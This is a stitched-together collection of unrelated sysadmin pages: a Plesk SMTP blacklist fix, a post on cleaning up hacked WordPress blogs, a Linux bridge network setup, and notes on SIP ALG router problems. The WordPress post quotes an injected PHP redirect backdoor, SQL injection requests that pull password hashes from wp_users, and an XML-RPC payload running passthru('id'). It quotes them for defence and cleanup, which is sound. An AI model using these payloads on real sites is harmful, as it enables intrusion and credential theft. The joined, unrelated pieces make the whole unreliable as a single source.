If you’re trying to use your Plesk’s SMTP service to allow sending e-mail, you might run into the following error: rblsmtpd: <IP ADDRESS>: 451 http://www.spamhaus.org/query/bl?ip=<IP ADDRESS>.

The cause of this error, is the enabled option to check for DNS blacklists. It’ll find that the user’s (often dynamic) IP address isn’t allowed to send e-mail to the Plesk’s SMTP service. A common cause for this, is the use of the “zen.spamhaus.org“, which is a combination of SBL, XBL and PBL blacklists.

And the PBL blacklist, has the following warning-message in the FAQ.

Caution: Because the PBL lists normal customer IP space, do not use PBL on smarthosts or SMTP AUTH outbound servers for your own customers (or you risk blocking your own customers if their dynamic IPs are in the PBL). Do not use PBL in filters that do any ‘deep parsing’ of Received headers, or for other than checking IP addresses that hand off to your mailservers.

Disabling the zen.spamhaus.org will cure this issue. You can enable the xbl.spamhaus.org;sbl.spamhaus.org DNS blackhole list to get a combination of XBL and SBL blacklists, without PBL.

This does, however, have another drawback. Enabling the remaining DNS blackhole lists, will prevent (authenticated) e-mail communication over port 25. Meaning you still can’t send e-mail.

Bummer. But fixeable.

Enable the Message Submission option, on the Plesk page Server > Mail.

This will make the SMTP service also available on port 587, configured to allow Authenticated SMTP connections with disregard of the DNS Blackhole list. The only drawback is it can’t be used in combination with the zen.spamhaus.org (which is why we changed it in the first place).

Outlook should then be configured to send e-mail over port 587, instead of the default port 25.

Go to Tools > Account Options and doubleclick the account you’re using. Go to More Settings and proceed to the tab “Advanced“. There, you can change the Outgoing mailserver (SMTP) port to 587.

Seems like a lot of work, but it appears to be the only way to use the SMTP service in Plesk, in combination with a DNS Blackhole list and dynamic IP ranges.

REFERENCE

http://mattiasgeniar.be/2009/01/14/using-plesks-smtp-server-dns-blacklist-prevents-sending/

Remember a few weeks ago there was all that noise about WordPress blogs getting hacked? Remember how everyone was urged to upgrade their blogs. You did upgrade didn’t you? No? It was inevitable that you’d be hacked. If you haven’t been hacked yet, it’s only a matter of time.

Unfortunately for some who did upgrade, it was too late. The hacker slimeballs may have known about the security issues before we did and went about their merry way breaking into blogs and websites, grabbing usernames and passwords, and planting backdoor scripts to log them in again at a later date.
That’s how even diligently upgraded blogs were hacked. The bad guys got there before you.

In the last week the hackers have started again. There is no zero day WordPress exploit. There is no evidence that version 2.5.1 of WordPress is vulnerable to any exploit at this time. They’re using the old exploits all over again. This time they’re redirecting hits from Google to your blog. Those hits are instead being redirected to your-needs.info and anyresult.net

If you’ve been hacked

1. Upgrade to the latest version of WordPress.
2. Make sure there are no backdoors or malicious code left on your system. This will be in the form of scripts left by the hacker, or modifications to existing files. Check your theme files too.
3. Change your passwords after upgrading and make sure the hacker didn’t create another user.
4. Edit your wp-config.php and change or create the SECRET_KEY definition. It should look like this, but do not use the same key or it won’t be very secret, will it?
   

   define(‘SECRET_KEY’, ‘1234567890′ );

Hidden Code

The bad guys are using a number of ways to hide their hacks:

• The simplest way is hiding their code in your php scripts. If your blog directory and files are writable by the webserver then a hacker has free reign to plant their code anywhere they like. wp-blog-header.php seems to be one place. Theme files are another. When you upgrade WordPress your theme files won’t be overwritten so make sure you double check those files for any strange code that uses the eval() command, or base64_decode(). Here’s a code snippet taken from here:
  

  < ?php $seref=array("google","msn","live","altavista","ask","yahoo","aol","cnn","weather","alexa");

  $ser=0; foreach($seref as $ref) if(strpos(strtolower($_SERVER['HTTP_REFERER']),$ref)!==false){ $ser="1"; break; }

  if($ser=="1" && sizeof($_COOKIE)==0){ header("Location: http://".base64_decode("YW55cmVzdWx0cy5uZXQ=")."/"); exit; }?>< ?php

  Another hack adds different code to your php files. Look for k1b0rg or keymachine.de in your php scripts and remove that offending code if you find it.

• Check your .htaccess file in the root of you blog. If you’ve never edited it, it’ll should look like this:
  

  # BEGIN WordPress
<ifmodule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</ifmodule>
# END WordPress

  That file may have this chunk of code too which is to do with the uploader:
  

  <ifmodule mod_security.c>
<files async-upload.php>
SecFilterEngine Off
SecFilterScanPOST Off
</files>
</ifmodule>

• They’re also uploading PHP code disguised as jpeg files to your upload directory and adding those files to the activated plugins list. This makes it harder to find them, but not impossible:
  1. Open PHPMyAdmin and go to your blog’s options table and find the active_plugins record.
  2. Edit that record. It’s a long line. Scroll through it and you’ll find an entry that looks like ../uploads/2008/05/04/jhjyahjhnjnva.jpg. Remove that text, and make sure you remove the serialized array information for that array record. If that’s beyond you, just delete the active_plugins record and reactivate all your plugins again.
  3. Check your uploads directory for that jpg file and delete it.
  4. This Youtube video shows how to do that. I don’t think there’s any urgent need to remove the rss_* database record but it won’t hurt to do it.

Change Your Passwords

Once you’ve upgraded and verified that your install is clean again you must do the following:

1. Change the passwords of all users on your system.
2. Make sure the hacker hasn’t added another user account he can use to login again.

Stop the bad guys

One way of stopping the bad guys before they’ve done any major damage is by doing regular backups and installing an intrusion detection system (IDS).

• I use Backuppc to backup all my servers every night, and a simple MySQL backup script to dump the database daily.
• The first IDS that springs to mind is Tripwire but there are many others. I just installed AIDE to track changes on this server. What it does is give me a daily report on files that have changed in that period. If a hacker has changed a script or uploaded malicious code I’ll get an email within a day about it. It does take some fine tuning, but it’s easy to install on Debian systems (and presumably as easy on Ubuntu and Red Hat, and even Gentoo..):
  

  # apt-get install aide
# vi /etc/aide/aide.conf.d/88_aide_web
# /usr/sbin/aideinit

  In the configuration file above I put the following:

  /home/web/ Checksums
  !/home/www/logs/.*
  !/home/web/public_html/wp-content/cache/.*
  !/home/web/.*/htdocs/wp-content/cache/.*

  That will tell AIDE to track changes to my web server folders, but ignore the logs folder and cache folders.

Please Upgrade

There is absolutely no reason not to upgrade. WordPress is famous for it’s 5 minute install, but it takes time and effort to maintain it. If you don’t want the hassle of upgrading, or don’t know how to maintain it, why not get a hosted WordPress account at WordPress.com? Does the $10 you make from advertising every month really justify the time it takes to make sure your site, your writing, your photos and other media are safe? This isn’t an advert for WordPress.com, go with any blogging system you like, but don’t make life easy for the scum out there who’ll take over your out of date software and use it to their advantage.

Help a friend

Check the source code of the blogs you read. The version number in the header will quickly tell you if their version of WordPress is out of date or not. Please leave a comment encouraging them to upgrade! The version number looks like this:

<meta name=”generator” content=”WordPress 2.5.1″ /> <!– leave this for stats –>

What does a hack look like?

I perform logging on one of my test blogs and I come across all sorts of malicious attempts to break in. Attackers use dumb bots to do their bidding so a website will be hit with all sorts of attacks, even for software that’s not installed. The bots are so dumb they’ll even come back again and again performing the same attacks.

Here’s what I call the “ekibastos attack”. It happens over a number of requests and I’ve seen it come from 87.118.100.81 on a regular basis. It uses a user agent called, “Mozilla/4.0 (k1b compatible; rss 6.0; Windows Sot 5.1 Security Kol)” which strangely enough doesn’t show up on Google at all right now.

1. First the attacker visits your Dashboard, and then without even checking if that was successful, he tries to access wp-admin/post.php several times using HEAD requests.
2. Then he POSTs to wp-admin/admin-ajax.php with the following POST body:
   

   POST: Array
   (
   [cookie] => wordpressuser_c73ce9557defbe87cea780be67f9ae1f=xyz%27; wordpresspass_c73ce9557defbe87cea780be67f9ae1f=132;
   )

3. When that fails, he grabs xmlrpc.php.
4. He then POSTs to that script, exploiting an old and long fixed bug. Here’s a snippet of the data.
   

   HTTP_RAW_POST_DATA: <?xml version=”1.0″?>

   <methodCall>

   <methodName>system.multicall</methodName>

   <params>

   <param><value><array><data>

   <value><struct>

   <member><name>methodName</name><value><string>pingback.extensions.getPingbacks</string></value></member>

   <member><name>params</name><value><array><data>

   <value><string>http://ocaoimh.ie/category/&post_type=%27) UNION ALL SELECT 10048,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4 FROM wp_users WHERE ID=1%2F*</string></value>

   </data></array></value></member></blockquote>

5. That fails too so the query is repeated with similar SQL.
   

   <value><string>http://ocaoimh.ie/category/&post_type=%27) UNION ALL SELECT 10000%2Bord(substring(user_pass,1,1)),2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4 FROM wp_users WHERE ID=1%2F*</string></value>

6. Then he tries a trackback:
   

   URL: /wp-trackback.php?tb_id=1
   POST: Array
   (
   [title] => 1
   [url] => 1
   [blog_name] => 1
   [tb_id] => 666666\’
   [1740009377] => 1
   [496546471] => 1
   )

7. And another trackback:
   

   URL: /wp-trackback.php?p=1
   POST: Array
   (
   [url] => ekibastos
   [title] => ekibastos
   [excerpt] => ekibastos
   [blog_name] => +AFw-\’)/*
   [charset] => UTF-7
   )

8. Before finally going back to xmlrpc.php with this POST request:
   

   <?xml version=”1.0″?>
   <methodCall>
   <methodName>pingback.ping</methodName>
   <params>
   <param><value><string>k1b0rg’ icq: 76-86-20</string></value></param>
   <param><value><string>http://ocaoimh.ie/?p=k1b0rg#ls</string></value></param>
   <param><value><string>admin</string></value></param>
   </params>
   </methodCall>

9. In between, he also tries the following GET requests:
   

   GET /index.php?cat=%2527+UNION+SELECT+CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58))+FROM+wp_users+where+id=1/* HTTP/1.1
   GET /index.php?cat=999+UNION+SELECT+null,CONCAT(666,CHAR(58),user_pass,CHAR(58),666,CHAR(58)),null,null,null+FROM+wp_users+where+id=1/* HTTP/1.1

10. Thankfully I upgraded and all those attacks fail.

Those requests have been hitting me for months now with the latest happening 2 days ago. If that doesn’t convince you that you must upgrade and check your website, I don’t know what will.

PS. For completeness, here’s another common XMLRPC attack I see all the time. Ironically, this actually hit my server from 189.3.105.2 after I published this post.

<?xml version="1.0"?>

<methodCall>

<methodName>test.method

</methodName>

<params>

<param>

<value><name>','')); echo

'______BEGIN______';

passthru('id');

echo

'_____FIM_____';

exit;/*</name></value>

</param>

</params>

</methodCall>

Edit: Tripwire url fixed, thanks Callum

PS. If your site has been hacked, try the WordPress Exploit Scanner which will try to find any modified files and suspicious database records.

You might also like

• WordPress Exploit Scanner 0.1
My previous post about hacked WordPress sites caused Donnacha to
• Exploit Scanner 0.5
The WordPress Exploit Scanner has been updated, with lots of
• Catch website file changes with AIDE
A week ago I suggested installing AIDE to track changes

Sharing Internet connection using bridge mode

Sharing via bridge mode

When using a box, first activate the router functions of your box so that it can assign different IP to each PC.

E.g
Imagine that you have a PC with 2 Ethernet interface:

eth0 is connected to the Internet (and is automatically assigned IP 192.168.0.x by the dhcp.
eth1 is a free interface (configured with a fixed IP 10.0.0.1).



Your /etc/network/interfaces file must look like this:

auto lo
iface lo inet loopback

auto eth0
iface eth0 inet dhcp

auto eth1
iface eth1 inet static
address 10.0.0.1
netmask 255.255.255.0

We will connect a second PC to the eth1 port like this:



Making use of the bridge implies that any Ethernet frame received on an ethernet interface (eth0 or eth1) will be re-issued on the other. Just like hen connecting 2 PC via a hub.



PC2 will have its IP address automatically assigned by the box, and can connect directly to the Internet.
Installation

auto lo<br />iface lo inet loopback<br /><br />auto br0<br />iface br0 inet dhcp<br />bridge_ports eth0 eth1<br /><br />auto eth1<br />iface eth1 inet static<br />address 10.0.0.1<br />netmask 255.255.255.0

Introduction

SIP ALG example

• caller behind NAT with private IP 192.168.1.33.
• caller router public IP 192.0.2.200
• SIP proxy in Internet with domain "example.com".

INVITE from the LAN client (with private IP)

• The caller couldn't receive in-dialog/sequential messages (ACK for the INVITE, BYE, REFER, re-INVITE...) since the address in "Contact" is not routable outside their network.
• Unidirectional audio since the caller told the callee to send audio to a non-routable address and port (so the caller won't hear the callee).

The same INVITE modified by the ALG router:

• Replacing IP in "Via" header with the public IP and port.
• Replacing "Contact" with mapped public IP and port.
• Replacing SDP media address with public IP and port.

SIP ALG problems

• Lack of incoming calls: When a UA is switched on it sends a REGISTER to the proxy in order to be localizable and receive incoming calls. This REGISTER is modified by the ALG feature (if not the user wouldn't be reachable by the proxy since it indicated a private IP in REGISTER "Contact" header). Common routers just mantain the UDP "conntection" open for a while (30-60 seconds) so after that time the port forwarding is ended and incoming packets are discarded by the router. Many SIP proxies mantain the UDP keepalive by sending OPTIONS or NOTIFY messages to the UA, but they just do it when the UA has been detected as natted during the registration. A SIP ALG router rewrites the REGISTER request so the proxy doesn't detect the NAT and doesn't mantain the keepalive (so incoming calls will be not possible).
• Breaking SIP signalling: Many of the actual common routers with inbuilt SIP ALG modify SIP headers and the SDP body incorrectly, breaking SIP and making communication just impossible. Some of them do a whole replacing by searching a private address in all SIP headers and body and replacing them with the router public mapped address (for example, replacing the private address if it appears in "Call-ID" header, which makes no sense at all). Many SIP ALG routers corrupt the SIP message when writting into it (i.e. missed semi-colon ";" in header parameters). Writting incorrect port values greater than 65536 is also common in many of these routers.
• Dissallows server side solutions: Even if you don't need a client side NAT solution (your SIP proxy gives you a server NAT solution), if your router has SIP ALG enabled that breaks SIP signalling, it will make communication with your proxy impossible.

List of routers with SIP ALG enabled

SpeedTouch

• No incoming calls.
• It replaces the private IP appearing in SIP headers with the public IP using a dumb text replacement. If for example the private IP appears in the "Call-ID" it replaces it too (that it's completely unnecessary).

Zyxel

• No incoming calls.
• SIP protocol broken making 50% of outgoing calls impossible because the wrong values are inserted into SIP headers.

Netgear

SMC

• The ALG doesn't replace the private address in "Call-ID" header (that is correct) but it does replace the "call-id" value in "Refer-To" header so SIP transfer is broken.

Linksys

• The ALG replaces the private address in "Call-ID" header (not needed at all). Some phones (as Linksys with latest firmware) encode the "Call-ID" value in the "Refer-To" header (by escaping the dots) so the private IP appearing there is not replaced with the public IP. This causes that the call transfer fails since the proxy/PBX/endpoint will not recognize the dialog info.

Peplink Multi-WAN routers

• I'm not aware of any SIP ALG issues, but if you just want to turn it off, here you go.

Fortinet

See Also

• SIP ALG Detector An utility to detect routers with SIP ALG enabed
• NAT survey
• NAT and VOIP
• Application-level gateway (ALG) in Wikipedia
• RFC 2633 IP Network Address Translator (NAT) Terminology and Considerations